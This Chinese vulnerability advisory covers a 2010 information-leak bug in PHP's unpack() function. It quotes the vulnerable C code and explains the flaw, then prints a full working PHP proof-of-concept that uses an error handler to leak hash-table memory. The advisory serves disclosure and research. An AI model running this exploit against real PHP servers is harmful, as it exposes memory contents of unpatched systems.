PHP unpack()函数中断处理信息泄露漏洞
- 发表于
- Vulndb
发布时间:2010-05-31
影响版本:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
漏洞描述:
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的unpack()函数中存在信息泄露漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
{ char *format, *input, *formatarg, *inputarg; int formatlen, formatarg_len, inputarg_len; int inputpos, inputlen, i; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &formatarg, &formatarg_len, &inputarg, &inputarg_len) == FAILURE) { return; } format = formatarg; formatlen = formatarg_len; input = inputarg; |
该函数开始时将两个用户所提供参数读取到了本地变量,然后解析所提供的格式串。由于call time pass by reference功能,函数中间的中断允许使用其他变量类型替换输入字符串,导致泄漏哈希表内容。可通过提供无效的定位命令来触发中断。
1 2 3 4 5 6 7 8 9 |
case '@': if (arg <= inputlen) { inputpos = arg; } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Type %c: outside of string", type); } i = arg - 1; /* Done, break out of for loop */ break; |
错误处理器可以更改第二个参数的内容。
<*参考
http://www.php-security.org/2010/05/31/mops-2010-051-php-unpack-interruption-information-leak-vulnerability/index.html
*>
测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
<?php function my_error() { parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']); return 1; } /* Detect 32 vs 64 bit */ $i = 0x7fffffff; $i++; if (is_float($i)) { $l = 39; } else { $l = 67; } $GLOBALS['var'] = str_repeat("A", $l); /* Trigger the Code */ set_error_handler("my_error"); $x = unpack("@31337/@0/A$l", &$GLOBALS['var']); restore_error_handler(); hexdump($x[1]); /* Helper function */ function hexdump($x) { $l = strlen($x); $p = 0; echo "Hexdump\n"; echo "-------\n"; while ($l > 16) { echo sprintf("%08x: ",$p); for ($i=0; $i<16; $i++) { echo sprintf("%02X ", ord($x[$p+$i])); } echo " "; for ($i=0; $i<16; $i++) { $c = ord($x[$p+$i]); echo ($c < 32 || $c > 127) ? '.' : chr($c); } $l-=16; $p+=16; echo "\n"; } if ($l > 0) echo sprintf("%08x: ",$p); for ($i=0; $i<$l; $i++) { echo sprintf("%02X ", ord($x[$p+$i])); } for ($i=0; $i<16-$l; $i++) { echo "-- "; } echo " "; for ($i=0; $i<$l; $i++) { $c = ord($x[$p+$i]); echo ($c < 32 || $c > 127) ? '.' : chr($c); } echo "\n"; } ?> |
安全建议:
厂商补丁:
PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php.net
原文连接:PHP unpack()函数中断处理信息泄露漏洞
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。